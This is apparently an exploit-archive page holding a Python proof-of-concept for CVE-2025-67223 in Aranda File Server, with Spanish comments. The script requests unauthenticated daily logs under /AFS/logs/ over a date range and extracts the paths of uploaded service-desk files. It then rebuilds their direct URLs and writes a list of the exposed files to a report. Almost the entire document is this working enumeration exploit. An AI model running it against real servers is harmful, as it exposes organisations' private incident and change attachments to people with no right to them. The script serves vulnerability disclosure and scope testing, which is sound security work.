5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-67223.py PY
import requests
import re
import sys
from urllib.parse import urljoin
from datetime import datetime, timedelta # <- Nueva librería para manejar fechas
#Seleccionar en el vscode - (.*)$
# La función ahora devuelve la lista de URLs encontradas en ese día
def enumerar_archivos_afs(base_url, fecha_objetivo):
    """
    Se conecta al log de Aranda File Server de una fecha específica
    y extrae las rutas de los archivos expuestos.
    """
    
    log_path = f"/AFS/logs/{fecha_objetivo}.log"
    log_url = urljoin(base_url, log_path)
    
    print(f"[*] Intentando recuperar log del día {fecha_objetivo} desde: {log_url}")
    
    try:
        # verify=False para entornos de prueba
        response = requests.get(log_url, verify=False, timeout=10)
        
        if response.status_code == 404:
            print("[-] Log no encontrado (404). Posiblemente no hubo actividad ese día.")
            return [] # Devuelve lista vacía
        elif response.status_code != 200:
            print(f"[-] Error: No se pudo acceder. Código de estado: {response.status_code}")
            return [] # Devuelve lista vacía

        print("[+] Log recuperado. Analizando patrones...")
        
        contenido_log = response.text
        
        # Patrón amplio (Incidents, Changes, ServiceCalls, CI/CMDB)
        regex_patron = r"FILE UPLOADED\s:\s(.+)"
        
        coincidencias = re.findall(regex_patron, contenido_log, re.IGNORECASE)
        rutas_unicas = set(coincidencias)
        
        if not rutas_unicas:
            print(f"[-] No se encontraron archivos subidos en el log del día {fecha_objetivo}.")
            return []

        # 3. Reconstrucción de URLs
        ruta_base_archivos = "/AFS/ServiceDesk/" 
        urls_generadas = []
        
        for ruta_raw in rutas_unicas:
            ruta_web = ruta_raw.replace('\\', '/')
            full_path = urljoin(base_url, ruta_base_archivos + ruta_web)
            urls_generadas.append(full_path)
            
        print(f"[+] Éxito: {len(urls_generadas)} archivos encontrados para {fecha_objetivo}.")
        return urls_generadas

    except requests.exceptions.RequestException as e:
        print(f"[-] Error de conexión para {fecha_objetivo}: {e}")
        return []
    except Exception as e:
        print(f"[-] Error inesperado para {fecha_objetivo}: {e}")
        return []

def get_date_range(start_date_str, end_date_str):
    """Genera fechas en formato YYYYMMDD entre dos fechas dadas."""
    try:
        start_date = datetime.strptime(start_date_str, '%Y%m%d')
        end_date = datetime.strptime(end_date_str, '%Y%m%d')
    except ValueError:
        raise ValueError("Formato de fecha inválido. Use YYYYMMDD.")

    if start_date > end_date:
        raise ValueError("La fecha de inicio no puede ser posterior a la fecha de fin.")

    current_date = start_date
    while current_date <= end_date:
        yield current_date.strftime('%Y%m%d')
        current_date += timedelta(days=1)


if __name__ == "__main__":
    print("--- Herramienta de Prueba de Alcance CVE-2025-67223 (AFS) [Rango de Fechas] ---")
    
    # 1. ENTRADA DE DATOS
    target = input("Ingrese la URL base del sitio: ").strip()
    start_date_str = input("Ingrese la FECHA DE INICIO (YYYYMMDD): ").strip()
    end_date_str = input("Ingrese la FECHA DE FIN (YYYYMMDD): ").strip()
    
    if not target.startswith("http"):
        target = "http://" + target
    
    all_exposed_urls = []
    
    # 2. PROCESAMIENTO POR RANGO
    try:
        fechas_a_analizar = list(get_date_range(start_date_str, end_date_str))
        print(f"\n[*] Analizando {len(fechas_a_analizar)} días desde {start_date_str} hasta {end_date_str}...")
        
        for date_to_check in fechas_a_analizar:
            urls_del_dia = enumerar_archivos_afs(target, date_to_check)
            if urls_del_dia:
                all_exposed_urls.extend(urls_del_dia)
                
    except ValueError as e:
        print(f"[-] Error de entrada: {e}")
        sys.exit(1)

    # 3. SALIDA CONSOLIDADA
    print("\n" + "=" * 80)
    rutas_unicas_totales = set(all_exposed_urls)
    
    if rutas_unicas_totales:
        print(f"| REPORTE FINAL: {len(rutas_unicas_totales)} ARCHIVOS ÚNICOS EXPUESTOS EN EL RANGO |")
        print("=" * 80)
        
        filename = f"reporte_alcance_{start_date_str}_a_{end_date_str}.txt"
        with open(filename, "w", encoding='utf-8') as f:
            for u in sorted(list(rutas_unicas_totales)):
                f.write(u + "\n")
                print(u)
        print("=" * 80)
        print(f"[*] Finalizado. Lista consolidada guardada en '{filename}'")
    else:
        print("| REPORTE FINAL: No se encontraron archivos expuestos en el rango de fechas. |")
        print("=" * 80)